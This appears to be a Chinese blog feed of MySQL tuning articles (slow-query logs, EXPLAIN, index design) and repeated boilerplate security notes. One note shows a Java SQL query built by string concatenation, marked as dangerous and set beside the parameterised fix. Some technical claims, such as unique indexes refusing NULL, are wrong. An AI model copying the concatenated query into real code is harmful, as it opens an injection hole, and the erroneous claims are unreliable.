持久性Redo LogWAL、刷盘
隔离级别脏读不可重复读幻读实现
RU✓✓✓无
RC✗✓✓MVCC
RR✗✗部分MVCC + 间隙锁
Serializable✗✗✗串行化

理解ACID和隔离级别的实现原理，有助于：

  1. 合理选择隔离级别
  2. 设计出高效的事务逻辑
  3. 快速定位和解决并发问题

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> MySQL MySQL 数据库 密码存储为什么不能明文 //mi-ma-cun-chu-wei-shi-me-bu-neng-ming-wen/ 密码存储为什么不能明文

密码为什么不能明文存储，这是一个基础但容易被忽视的问题。本文讲正确的做法。

安全问题要默认不信任输入

无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。

SQL 注入的例子

危险写法：

String sql = "select * from user where name = '" + name + "'";

推荐使用预编译参数：

SELECT * FROM user WHERE name = ?;

在 MyBatis 中优先使用 #{name}，不要用 ${name} 拼接用户输入。

权限校验

登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。

]]> 安全 学习笔记 安全 MySQL慢查询分析与优化 //mysql-slow-query-analysis/ MySQL慢查询分析与优化

MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。

一、慢查询日志配置

#

1.1 开启慢查询日志

[mysqld]
# 开启慢查询日志
slow_query_log = ON

# 日志文件路径
slow_query_log_file = /var/lib/mysql/slow.log

# 慢查询时间阈值（秒），默认10秒
long_query_time = 1

# 记录未使用索引的查询（可选）
log_queries_not_using_indexes = ON

# 控制每分钟记录多少条未使用索引的查询（防止日志过大）
log_throttle_queries_not_using_indexes = 10

动态开启（无需重启）：

SET GLOBAL slow_query_log = 'ON';
SET GLOBAL long_query_time = 1;
SET GLOBAL log_queries_not_using_indexes = 'ON';

#

1.2 慢查询日志格式

# Time: 2024-07-18T09:00:01.234567Z
# User@Host: root[root] @ localhost []
# Query_time: 2.345678  Lock_time: 0.000123 Rows_sent: 10  Rows_examined: 1000000
SET timestamp=1721286001;
SELECT * FROM orders WHERE status = 0 ORDER BY create_time LIMIT 10;

关键字段说明：
| 字段 | 含义 |
|——|——|
| Query_time | SQL执行总时间 |
| Lock_time | 获取锁的时间 |
| Rows_sent | 返回给客户端的行数 |
| Rows_examined | 扫描的行数 |

Rows_examined远大于Rows_sent，说明索引可能有问题。

二、慢查询分析工具

#

2.1 mysqldumpslow（MySQL自带）

# 查看最慢的10条SQL
mysqldumpslow -s t -t 10 /var/lib/mysql/slow.log

# 参数说明
# -s: 排序方式（t:时间, l:锁时间, r:行数, c:次数）
# -t: 显示条数
# -g: 过滤SQL

# 查看出现次数最多的10条
mysqldumpslow -s c -t 10 /var/lib/mysql/slow.log

# 过滤包含SELECT的SQL
mysqldumpslow -s t -t 10 -g "SELECT" /var/lib/mysql/slow.log

#

2.2 pt-query-digest（Percona Toolkit）

功能最强大的慢查询分析工具：

# 安装
yum install percona-toolkit

# 分析慢查询日志
pt-query-digest /var/lib/mysql/slow.log > slow_report.txt

# 分析最近4小时的日志
pt-query-digest --since='4h' /var/lib/mysql/slow.log

# 只分析特定数据库
pt-query-digest --filter '$event->{db} eq "mydb"' /var/lib/mysql/slow.log

# 分析processlist（实时分析）
pt-query-digest --processlist h=localhost,u=root,p=password

报告核心内容：

# Profile
# Rank Query ID           Response time Calls R/Call V/M   Item
# ==== ================== ============= ===== ====== ===== =============
#    1 0xABC123...        1200.0000 60%  1000  1.2000 0.01 SELECT orders
#    2 0xDEF456...         400.0000 20%   500  0.8000 0.02 SELECT user
字段含义
Rank排名
Response time总响应时间及占比
Calls执行次数
R/Call平均每次响应时间
V/M响应时间方差均值比（越大越不稳定）

#

2.3 慢查询表（MySQL 5.6+）

将慢查询日志存入表中，便于SQL分析：

-- 设置输出到表
SET GLOBAL log_output = 'TABLE';

-- 查询慢查询表
SELECT * FROM mysql.slow_log ORDER BY start_time DESC LIMIT 10;

-- 清空慢查询表
TRUNCATE TABLE mysql.slow_log;

#

2.4 性能模式（Performance Schema）

MySQL 5.6+ 推荐的分析方式：

-- 开启语句事件采集
UPDATE performance_schema.setup_consumers 
SET ENABLED = 'YES' 
WHERE NAME LIKE '%statements%';

-- 查看执行时间最长的SQL
SELECT 
    SQL_TEXT,
    COUNT_STAR AS exec_count,
    AVG_TIMER_WAIT / 1000000000000 AS avg_time_sec,
    MAX_TIMER_WAIT / 1000000000000 AS max_time_sec,
    SUM_ROWS_EXAMINED / COUNT_STAR AS avg_rows_examined,
    SUM_CREATED_TEMP_TABLES AS temp_tables
FROM performance_schema.events_statements_summary_by_digest
ORDER BY AVG_TIMER_WAIT DESC
LIMIT 10;

三、慢查询优化流程

#

3.1 分析步骤

发现慢查询
    │
    ├── 查看执行计划（EXPLAIN）
    │       ├── 全表扫描？→ 添加索引
    │       ├── 索引未使用？→ 分析原因
    │       ├── 文件排序？→ 优化ORDER BY
    │       └── 临时表？→ 优化GROUP BY
    │
    ├── 分析SQL写法
    │       ├── 避免SELECT *
    │       ├── 避免大OFFSET分页
    │       ├── 避免隐式转换
    │       └── 优化子查询
    │
    ├── 检查表结构
    │       ├── 字段类型是否合理
    │       ├── 是否有过大字段
    │       └── 分区是否合适
    │
    └── 检查服务器状态
            ├── CPU/IO是否瓶颈
            ├── 连接数是否过多
            └── 缓存命中率

#

3.2 常见慢查询场景

场景一：分页深翻页

-- 深翻页，越来越慢
SELECT * FROM orders 
ORDER BY create_time DESC 
LIMIT 100000, 10;
-- 扫描100010行，返回10行

优化方案：

-- 方案一：延迟关联（推荐）
SELECT o.* 
FROM orders o
JOIN (
    SELECT id 
    FROM orders 
    ORDER BY create_time DESC 
    LIMIT 100000, 10
) tmp ON o.id = tmp.id;

-- 方案二：记录上一页最大值
SELECT * FROM orders 
WHERE create_time < '2024-06-01 00:00:00'
ORDER BY create_time DESC 
LIMIT 10;

-- 方案三：限制翻页深度
-- 业务上限制只能翻到100页

场景二：大表JOIN

-- 未优化的大表JOIN
SELECT u.*, o.* 
FROM user u
LEFT JOIN orders o ON u.id = o.user_id
WHERE u.status = 1;

优化方案：

-- 确保关联列有索引
ALTER TABLE orders ADD INDEX idx_user_id (user_id);

-- 只查需要的列
SELECT u.id, u.name, o.order_no, o.amount
FROM user u
JOIN orders o ON u.id = o.user_id
WHERE u.status = 1;

场景三：IN大列表

-- IN列表过大
SELECT * FROM user WHERE id IN (1, 2, 3, ..., 10000);

优化方案：

-- 方案一：改为JOIN临时表
CREATE TEMPORARY TABLE tmp_ids (id INT PRIMARY KEY);
INSERT INTO tmp_ids VALUES (1), (2), (3), ...;

SELECT u.* FROM user u
JOIN tmp_ids t ON u.id = t.id;

-- 方案二：分批查询（程序中循环）
-- 每次IN 500-1000个

场景四：统计查询

-- 全表统计
SELECT COUNT(*) FROM orders WHERE status = 0;

优化方案：

-- 方案一：汇总表（实时性要求不高）
CREATE TABLE order_stats (
    status TINYINT PRIMARY KEY,
    total_count INT,
    last_updated DATETIME
);

-- 方案二：缓存（Redis）
-- 方案三：近似值（SHOW TABLE STATUS）
SHOW TABLE STATUS LIKE 'orders';
-- Rows列是近似值

四、索引优化策略

#

4.1 索引优化案例

案例：订单查询优化

原始SQL：

SELECT * FROM orders 
WHERE user_id = 100 
  AND status IN (1, 2)
  AND create_time > '2024-01-01'
ORDER BY create_time DESC 
LIMIT 10;

EXPLAIN分析：

type: ALL（全表扫描）
Extra: Using where; Using filesort

优化过程：

-- 步骤一：添加联合索引（错误示范）
CREATE INDEX idx_user_status_time ON orders(user_id, status, create_time);
-- 问题：IN条件导致create_time无法用于排序

-- 步骤二：调整索引顺序
CREATE INDEX idx_user_time_status ON orders(user_id, create_time, status);
-- 分析：user_id等值 → create_time范围+排序 → status过滤

-- 步骤三：覆盖索引（可选）
CREATE INDEX idx_user_time_status_cover ON orders(
    user_id, create_time, status, 
    order_no, amount  -- 包含查询列
);

#

4.2 索引优化检查清单

  • WHERE条件列是否有索引？
  • 联合索引顺序是否符合最左前缀？
  • 排序列是否在索引中？
  • 是否可以设计覆盖索引？
  • 索引选择性是否足够高？
  • 是否存在冗余索引？

五、SQL改写优化

#

5.1 UNION替代OR

-- 优化前（索引可能失效）
SELECT * FROM user WHERE name = 'Alice' OR phone = '13800138000';

-- 优化后
SELECT * FROM user WHERE name = 'Alice'
UNION ALL
SELECT * FROM user WHERE phone = '13800138000';

#

5.2 EXISTS替代IN

-- 优化前（子查询可能全表扫描）
SELECT * FROM user WHERE id IN (
    SELECT user_id FROM orders WHERE amount > 100
);

-- 优化后
SELECT * FROM user u WHERE EXISTS (
    SELECT 1 FROM orders o 
    WHERE o.user_id = u.id AND o.amount > 100
);

#

5.3 批量操作替代循环

-- 优化前（程序循环执行）
INSERT INTO logs (msg) VALUES ('msg1');
INSERT INTO logs (msg) VALUES ('msg2');
...

-- 优化后
INSERT INTO logs (msg) VALUES ('msg1'), ('msg2'), ...;

六、服务器参数优化

#

6.1 内存相关

# InnoDB缓冲池（通常设为物理内存的50%-75%）
innodb_buffer_pool_size = 4G

# 缓冲池实例数（高并发时提高）
innodb_buffer_pool_instances = 4

# 日志缓冲区
innodb_log_buffer_size = 64M

# 连接缓冲区
join_buffer_size = 256K
sort_buffer_size = 256K
read_buffer_size = 128K

#

6.2 连接相关

# 最大连接数
max_connections = 500

# 连接缓存
thread_cache_size = 100

# 等待超时
wait_timeout = 600
interactive_timeout = 600

#

6.3 InnoDB相关

# 事务日志大小（大事务优化）
innodb_log_file_size = 512M
innodb_log_files_in_group = 3

# 刷新策略（性能vs持久性）
innodb_flush_log_at_trx_commit = 2
innodb_flush_method = O_DIRECT

七、监控与预警

#

7.1 慢查询监控脚本

#!/bin/bash
# slow_query_monitor.sh

SLOW_LOG="/var/lib/mysql/slow.log"
THRESHOLD=100  # 慢查询条数阈值

COUNT=$(wc -l < $SLOW_LOG)

if [ $COUNT -gt $THRESHOLD ]; then
    echo "警告：过去1小时慢查询超过${THRESHOLD}条，当前${COUNT}条" | \
    mail -s "MySQL慢查询告警" dba@company.com
fi

#

7.2 使用Prometheus + Grafana监控

-- 创建监控视图
CREATE VIEW slow_query_stats AS
SELECT 
    DIGEST_TEXT AS query,
    COUNT_STAR AS exec_count,
    AVG_TIMER_WAIT / 1000000000000 AS avg_time,
    MAX_TIMER_WAIT / 1000000000000 AS max_time,
    SUM_ROWS_EXAMINED / COUNT_STAR AS avg_rows
FROM performance_schema.events_statements_summary_by_digest
WHERE AVG_TIMER_WAIT > 1000000000000  -- 超过1秒
ORDER BY AVG_TIMER_WAIT DESC;

八、总结

阶段工具/方法目标
发现slow_query_log, Performance Schema找到慢查询
分析EXPLAIN, pt-query-digest定位原因
优化索引优化, SQL改写提升性能
验证EXPLAIN ANALYZE确认效果
监控告警脚本, Grafana持续跟踪

慢查询优化是持续的过程，需要：

  1. 建立慢查询发现和监控机制
  2. 掌握EXPLAIN分析技能
  3. 积累常见场景的优化方案
  4. 定期进行全量SQL审核

核心要点

  1. 索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型

  2. SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN

  3. 事务隔离级别的选择：根据业务需求选择合适的级别

  4. 常见的锁问题：行锁、表锁、死锁的处理

总结

MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。

]]> MySQL MySQL 数据库 接口鉴权和权限校验的区别 //jie-kou-jian-quan-he-quan-xian-xiao-yan-de-qu-bie/ 接口鉴权和权限校验的区别

接口鉴权和权限校验是两个不同层次的概念。本文讲它们的区别和实现方式。

安全问题要默认不信任输入

无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。

SQL 注入的例子

危险写法：

String sql = "select * from user where name = '" + name + "'";

推荐使用预编译参数：

SELECT * FROM user WHERE name = ?;

在 MyBatis 中优先使用 #{name}，不要用 ${name} 拼接用户输入。

权限校验

登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。

]]> 安全 学习笔记 安全 MySQL执行计划分析Explain //mysql-explain-execution-plan/ MySQL执行计划分析Explain

MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。

一、EXPLAIN基础用法

#

1.1 基本语法

EXPLAIN SELECT * FROM user WHERE id = 1;

-- MySQL 8.0.18+ 支持EXPLAIN ANALYZE
EXPLAIN ANALYZE SELECT * FROM user WHERE id = 1;

#

1.2 输出字段说明

字段含义
id查询标识符
select_type查询类型
table访问的表
partitions匹配的分区
type访问类型（重要）
possible_keys可能使用的索引
key实际使用的索引
key_len使用索引的长度
ref与索引比较的列
rows扫描的行数（估算）
filtered过滤后剩余比例
Extra额外信息（重要）

二、关键字段详解

#

2.1 id字段

标识SELECT的执行顺序：

EXPLAIN SELECT * FROM user WHERE id IN (
    SELECT user_id FROM orders WHERE amount > 100
);
+----+-------------+---------+
| id | select_type | table   |
+----+-------------+---------+
|  1 | PRIMARY     | user    |
|  2 | SUBQUERY    | orders  |
+----+-------------+---------+
  • id相同：从上到下执行
  • id不同：id大的先执行
  • id有相同有不同：先执行id大的，相同的从上到下

#

2.2 select_type字段

类型说明
SIMPLE简单查询，无子查询或UNION
PRIMARY最外层查询
SUBQUERYSELECT中的子查询
DERIVEDFROM中的子查询（派生表）
UNIONUNION中的第二个及后续查询
UNION RESULTUNION的结果合并
DEPENDENT SUBQUERY依赖外部查询的子查询
MATERIALIZED物化子查询（MySQL 5.6+）

#

2.3 type字段（重点）

性能从好到差排序：

system > const > eq_ref > ref > range > index > ALL

system：表只有一行，是const的特例

EXPLAIN SELECT * FROM mysql.proxies_priv;
-- type: system（系统表通常只有一行）

const：通过主键或唯一索引一次命中

EXPLAIN SELECT * FROM user WHERE id = 1;
-- type: const

eq_ref：JOIN中通过主键或唯一索引关联，对于前表的每一行，后表只有一行匹配

EXPLAIN SELECT * FROM user u 
JOIN orders o ON u.id = o.user_id;
-- type: eq_ref（假设orders.user_id有唯一索引）

ref：使用非唯一索引

EXPLAIN SELECT * FROM user WHERE name = 'Alice';
-- type: ref（name是普通索引）

range：索引范围扫描

EXPLAIN SELECT * FROM user WHERE id BETWEEN 1 AND 100;
EXPLAIN SELECT * FROM user WHERE id IN (1, 2, 3);
-- type: range

index：全索引扫描

EXPLAIN SELECT name FROM user;
-- type: index（覆盖索引，扫描整个索引树）

ALL：全表扫描

EXPLAIN SELECT * FROM user WHERE age > 0;
-- type: ALL（无索引或索引未使用）

优化目标：至少达到range级别，最好达到ref或更高。

#

2.4 key和key_len

key：实际使用的索引。NULL表示未使用索引。

key_len：索引使用的字节数。可用于判断是否使用了索引的全部列：

-- 联合索引(name, age)，name是VARCHAR(20)
EXPLAIN SELECT * FROM user WHERE name = 'Alice';
-- key_len: 63（name列长度：20*3 + 3字节变长开销）

EXPLAIN SELECT * FROM user WHERE name = 'Alice' AND age = 20;
-- key_len: 68（加上age的INT 4字节 + 1字节NULL标志）

常用类型的key_len计算：
| 数据类型 | key_len |
|———|———|
| INT | 4（非NULL）/ 5（可为NULL）|
| BIGINT | 8 / 9 |
| VARCHAR(n) | n * charset字节 + 2 |
| CHAR(n) | n * charset字节 |
| DATETIME | 5 / 6 |

#

2.5 rows字段

MySQL估算的扫描行数。这个值越小越好。

#

2.6 Extra字段（重点）

值含义是否优化
Using index覆盖索引，无需回表优
Using where使用WHERE过滤正常
Using index condition索引条件下推优
Using filesort需要额外排序差，需优化
Using temporary使用临时表差，需优化
Using join buffer使用连接缓存正常
Impossible WHEREWHERE条件永远为false正常
Select tables optimized away优化器确定只返回一行优

Using filesort示例与优化：

-- 无索引或索引不满足排序需求
EXPLAIN SELECT * FROM user ORDER BY age LIMIT 10;
-- Extra: Using filesort

-- 优化：添加索引
CREATE INDEX idx_age ON user(age);
-- Extra: Using index

Using temporary示例与优化：

-- GROUP BY + 排序导致临时表
EXPLAIN SELECT status, COUNT(*) FROM user GROUP BY status;
-- Extra: Using temporary; Using filesort

-- 优化：复合索引
CREATE INDEX idx_status ON user(status);
-- Extra: Using index

三、EXPLAIN ANALYZE（MySQL 8.0.18+）

不仅显示计划，还显示实际执行时间：

EXPLAIN ANALYZE SELECT * FROM user WHERE id > 100 LIMIT 10;

输出示例：

-> Limit: 10 row(s)  (cost=11.25..11.35 rows=10) (actual time=0.089..0.095 rows=10 loops=1)
    -> Index range scan on user using PRIMARY, with index condition: (user.id > 100)  (cost=11.25..46.25 rows=350) (actual time=0.087..0.091 rows=10 loops=1)

关键信息：

  • cost：预估成本
  • actual time：实际耗时
  • rows：实际返回/扫描行数
  • loops：循环次数

四、实战案例分析

#

4.1 案例一：索引失效分析

EXPLAIN SELECT * FROM user 
WHERE YEAR(create_time) = 2024;

输出：

+----+-------------+-------+------+---------------+------+---------+------+--------+-------------+
| id | select_type | table | type | possible_keys | key  | key_len | ref  | rows   | Extra       |
+----+-------------+-------+------+---------------+------+---------+------+--------+-------------+
|  1 | SIMPLE      | user  | ALL  | NULL          | NULL | NULL    | NULL | 100000 | Using where |
+----+-------------+-------+------+---------------+------+---------+------+--------+-------------+

问题诊断：

  • type=ALL：全表扫描
  • key=NULL：未使用索引
  • 原因：函数操作导致索引失效

优化方案：

-- 改写为范围查询
SELECT * FROM user 
WHERE create_time >= '2024-01-01' 
  AND create_time < '2025-01-01';

-- EXPLAIN结果
-- type: range
-- key: idx_create_time
-- Extra: Using index condition

#

4.2 案例二：隐式转换分析

-- phone字段是VARCHAR类型
EXPLAIN SELECT * FROM user WHERE phone = 13800138000;

输出：

+----+-------------+-------+------+---------------+------+---------+------+--------+-------------+
| id | select_type | table | type | possible_keys | key  | key_len | ref  | rows   | Extra       |
+----+-------------+-------+------+---------------+------+---------+------+--------+-------------+
|  1 | SIMPLE      | user  | ALL  | idx_phone     | NULL | NULL    | NULL | 100000 | Using where |
+----+-------------+-------+------+---------------+------+---------+------+--------+-------------+

问题诊断：

  • possible_keys有idx_phone，但key=NULL
  • 发生隐式类型转换，索引未使用

优化方案：

SELECT * FROM user WHERE phone = '13800138000';

#

4.3 案例三：ORDER BY优化

EXPLAIN SELECT * FROM user 
WHERE status = 1 
ORDER BY create_time DESC 
LIMIT 10;

输出：

Extra: Using where; Using filesort

优化方案：

-- 添加复合索引
CREATE INDEX idx_status_time ON user(status, create_time);

-- 优化后Extra: Using index

#

4.4 案例四：JOIN优化

EXPLAIN SELECT u.name, o.amount 
FROM user u 
LEFT JOIN orders o ON u.id = o.user_id 
WHERE o.create_time > '2024-01-01';

输出：

+----+-------------+-------+--------+---------------+---------+---------+-----------------+--------+-------------+
| id | select_type | table | type   | possible_keys | key     | key_len | ref             | rows   | Extra       |
+----+-------------+-------+--------+---------------+---------+---------+-----------------+--------+-------------+
|  1 | SIMPLE      | o     | ALL    | idx_user_time | NULL    | NULL    | NULL            | 500000 | Using where |
|  1 | SIMPLE      | u     | eq_ref | PRIMARY       | PRIMARY | 8       | test.o.user_id  | 1      |             |
+----+-------------+-------+--------+---------------+---------+---------+-----------------+--------+-------------+

问题诊断：

  • orders表全表扫描（type=ALL）
  • 原因：LEFT JOIN + WHERE条件在右表，导致优化器将LEFT JOIN转为INNER JOIN

优化方案：

-- 改为INNER JOIN
SELECT u.name, o.amount 
FROM user u 
JOIN orders o ON u.id = o.user_id 
WHERE o.create_time > '2024-01-01';

-- 或确保orders表有合适的索引
CREATE INDEX idx_time_user ON orders(create_time, user_id);

五、SHOW WARNINGS

EXPLAIN后执行SHOW WARNINGS可以看到优化器改写后的SQL：

EXPLAIN SELECT * FROM user WHERE id = 1;
SHOW WARNINGS \G;

输出：

Level: Note
Code: 1003
Message: /* select#1 */ select `test`.`user`.`id` AS `id`,...
from `test`.`user`
where (`test`.`user`.`id` = 1)

六、优化流程总结

#

6.1 EXPLAIN分析步骤

  1. 看type：是否达到range及以上，避免ALL
  2. 看key：是否使用了预期的索引
  3. 看rows：扫描行数是否合理
  4. 看Extra：是否存在Using filesort、Using temporary
  5. 看key_len：索引是否充分利用

#

6.2 优化决策树

EXPLAIN分析
    │
    ├── type = ALL?
    │       ├── 是 → 是否必要？
    │       │       ├── 小表 → 可接受
    │       │       └── 大表 → 添加索引/改写SQL
    │       └── 否 → 继续
    │
    ├── key = NULL?（possible_keys有值）
    │       ├── 是 → 索引失效？
    │       │       ├── 函数操作 → 改写SQL
    │       │       ├── 隐式转换 → 统一类型
    │       │       ├── LIKE '%x%' → 改为前缀匹配
    │       │       └── OR条件 → 改用UNION
    │       └── 否 → 继续
    │
    ├── Extra含filesort?
    │       ├── 是 → 添加排序列到索引
    │       └── 否 → 继续
    │
    └── Extra含temporary?
            ├── 是 → 简化GROUP BY/ORDER BY
            └── 否 → 优化完成

七、常用优化技巧速查

问题EXPLAIN表现解决方案
全表扫描type=ALL添加索引，改写SQL
索引失效possible_keys有值但key=NULL避免函数、隐式转换、前导%
文件排序Extra=Using filesort索引包含排序列
临时表Extra=Using temporary简化GROUP BY，添加索引
回表多非覆盖索引添加查询列到索引（覆盖索引）
JOIN性能差驱动表rows大确保关联列有索引，小表驱动

八、总结

EXPLAIN是SQL优化的”X光机”。掌握以下要点：

  1. 重点关注：type、key、rows、Extra四个字段
  2. 优化目标：type至少range，避免ALL；Extra避免filesort和temporary
  3. 结合实践：用EXPLAIN ANALYZE验证实际执行时间
  4. 持续监控：定期用慢查询日志发现需要优化的SQL

熟练使用EXPLAIN，能大幅提升SQL优化效率，快速定位性能瓶颈。

核心要点

  1. 索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型

  2. SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN

  3. 事务隔离级别的选择：根据业务需求选择合适的级别

  4. 常见的锁问题：行锁、表锁、死锁的处理

总结

MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。

]]> MySQL MySQL 数据库 SQL 注入原理和防护方法 //sql-zhu-ru-yuan-li-he-fang-hu-fang-fa/ SQL 注入原理和防护方法

SQL 注入原理和防护方法是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

安全问题要默认不信任输入

无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。

SQL 注入的例子

危险写法：

String sql = "select * from user where name = '" + name + "'";

推荐使用预编译参数：

SELECT * FROM user WHERE name = ?;

在 MyBatis 中优先使用 #{name}，不要用 ${name} 拼接用户输入。

权限校验

登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。

]]> 安全 学习笔记 安全 MySQL索引设计最佳实践 //mysql-index-design-best-practice/ MySQL索引设计最佳实践

MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。

一、索引设计的基本原则

#

1.1 三星索引法则

《高性能MySQL》提出的三星索引标准：

  • 第一星：索引将相关的记录放在一起（减少IO）
  • 第二星：索引中的列顺序满足排序需求（避免文件排序）
  • 第三星：索引包含查询所需的所有列（覆盖索引，避免回表）

#

1.2 索引选择性（Cardinality）

选择性 = 不同值数量 / 总记录数，越接近1越好：

-- 查看列的选择性
SELECT 
    COUNT(DISTINCT column_name) / COUNT(*) AS selectivity
FROM table_name;

建议：选择性低于0.1的列，单独建索引效果不佳。

#

1.3 索引长度估算

-- 查看索引大小
SELECT 
    database_name,
    table_name,
    index_name,
    ROUND(stat_value * @@innodb_page_size / 1024 / 1024, 2) AS index_size_mb
FROM mysql.innodb_index_stats
WHERE table_name = 'your_table';

二、单列索引设计

#

2.1 主键索引

设计要点：

  1. 使用自增整数

    CREATE TABLE user (
        id BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
        -- ...
    ) ENGINE=InnoDB;

  2. 避免使用业务字段作为主键

    • 手机号可能变更
    • 身份证号涉及隐私
    • UUID随机插入性能差

  3. 主键不宜过长

    • 主键会复制到所有二级索引中
    • 主键越长，二级索引越大

#

2.2 唯一索引

确保业务唯一性的同时建立索引：

-- 方式一：UNIQUE约束
CREATE TABLE user (
    email VARCHAR(100) NOT NULL,
    UNIQUE KEY uk_email (email)
);

-- 方式二：唯一索引
CREATE UNIQUE INDEX uk_phone ON user(phone);

注意：唯一索引不能包含NULL（NULL不等于NULL）。

#

2.3 普通索引

为高频查询条件列创建：

CREATE INDEX idx_status ON orders(status);
CREATE INDEX idx_create_time ON orders(create_time);

三、联合索引设计

#

3.1 最左前缀原则

联合索引(a, b, c)等效于创建了(a)、(a,b)、(a,b,c)三个索引：

-- 有效：用到索引
WHERE a = 1
WHERE a = 1 AND b = 2
WHERE a = 1 AND b = 2 AND c = 3
WHERE a = 1 AND c = 3   -- 只用a

-- 无效：跳过最左列
WHERE b = 2
WHERE b = 2 AND c = 3
WHERE c = 3

#

3.2 联合索引列顺序设计

原则一：等值查询列在前，范围查询列在后

-- 查询条件
WHERE a = 1 AND b > 10 AND c = 5

-- 推荐索引：(c, a, b) 或 (a, c, b)
-- 不推荐：(a, b, c)，因为b是范围查询，c无法使用索引

原则二：区分度高的列在前

-- 假设：status有5种值，user_id有100万种值
-- 查询：WHERE status = 1 AND user_id = 100

-- 推荐索引：(user_id, status)
-- 原因：user_id区分度高，先过滤掉大部分数据

原则三：排序列放入索引

-- 查询
SELECT * FROM orders 
WHERE user_id = 100 
ORDER BY create_time DESC 
LIMIT 10;

-- 推荐索引：idx_user_time(user_id, create_time)
-- 避免文件排序，直接利用索引有序性

#

3.3 实际案例

电商订单表索引设计：

CREATE TABLE orders (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    user_id BIGINT NOT NULL,
    status TINYINT NOT NULL DEFAULT 0,
    create_time DATETIME NOT NULL,
    pay_time DATETIME,
    amount DECIMAL(10,2) NOT NULL,
    -- 其他字段
    
    -- 核心索引
    PRIMARY KEY (id),
    
    -- 用户查询自己的订单列表（高频）
    KEY idx_user_time (user_id, create_time),
    
    -- 按状态查询（管理后台）
    KEY idx_status_time (status, create_time),
    
    -- 支付超时查询（定时任务）
    KEY idx_status_paytime (status, pay_time)
) ENGINE=InnoDB;

四、前缀索引

#

4.1 适用场景

长字符串列（如URL、邮箱、描述）的索引：

-- 完整索引占用空间大
CREATE INDEX idx_url ON pages(url);  -- url可能很长

-- 前缀索引更省空间
CREATE INDEX idx_url ON pages(url(20));

#

4.2 前缀长度选择

目标是选择性接近完整列的选择性：

-- 测试不同前缀长度的选择性
SELECT 
    COUNT(DISTINCT LEFT(url, 10)) / COUNT(DISTINCT url) AS sel_10,
    COUNT(DISTINCT LEFT(url, 20)) / COUNT(DISTINCT url) AS sel_20,
    COUNT(DISTINCT LEFT(url, 30)) / COUNT(DISTINCT url) AS sel_30,
    COUNT(DISTINCT LEFT(url, 40)) / COUNT(DISTINCT url) AS sel_40
FROM pages;

建议：选择性达到0.9以上即可。

#

4.3 前缀索引的限制

-- 前缀索引无法用于覆盖索引
SELECT url FROM pages WHERE url = 'https://example.com';
-- 即使只查url，也需要回表（因为索引只存了前缀）

-- 前缀索引无法用于ORDER BY
SELECT * FROM pages ORDER BY url;
-- 可能使用文件排序

五、索引优化技术

#

5.1 索引条件下推（ICP）

MySQL 5.6引入的优化：在存储引擎层过滤数据，减少回表次数。

-- 有联合索引(name, age, address)
SELECT * FROM user 
WHERE name = '张' AND age > 20 AND address LIKE '%北京%';

-- 无ICP：
-- 1. 用name找到所有记录
-- 2. 回表查完整数据
-- 3. 在Server层过滤age和address

-- 有ICP：
-- 1. 用name找到记录
-- 2. 在引擎层用age过滤
-- 3. 只有符合条件的才回表

查看是否使用ICP：

EXPLAIN SELECT ...;
-- Extra列显示"Using index condition"表示使用ICP

#

5.2 索引合并（Index Merge）

当WHERE条件涉及多个索引时，MySQL可能合并多个索引的结果：

-- 有idx_name和idx_age两个独立索引
SELECT * FROM user WHERE name = 'Alice' OR age = 25;

-- Index Merge Union
-- 分别查name和age，然后合并结果

EXPLAIN中显示：

type: index_merge
key: idx_name, idx_age
Extra: Using union(idx_name,idx_age)

注意：索引合并不如联合索引高效，优先设计合适的联合索引。

#

5.3 覆盖索引

查询的所有列都在索引中，无需回表：

-- 联合索引(user_id, status, create_time)
SELECT user_id, status, create_time 
FROM orders 
WHERE user_id = 100;

-- 覆盖索引，Extra显示"Using index"

优化技巧：适当添加查询列到联合索引末尾，实现覆盖索引。

-- 原索引：idx_user_status(user_id, status)
-- 查询：SELECT user_id, status, create_time FROM ...

-- 优化为覆盖索引：
KEY idx_user_status_time (user_id, status, create_time)

六、索引维护

#

6.1 查看索引使用情况

-- 查看索引使用统计（MySQL 8.0）
SELECT 
    TABLE_SCHEMA,
    TABLE_NAME,
    INDEX_NAME,
    ROWS_SELECTED,
    ROWS_INSERTED,
    ROWS_DELETED
FROM performance_schema.table_io_waits_summary_by_index_usage
WHERE INDEX_NAME IS NOT NULL;

#

6.2 删除冗余索引

-- 查找未使用的索引（MySQL 8.0）
SELECT 
    object_schema,
    object_name,
    index_name
FROM performance_schema.table_io_waits_summary_by_index_usage
WHERE index_name IS NOT NULL
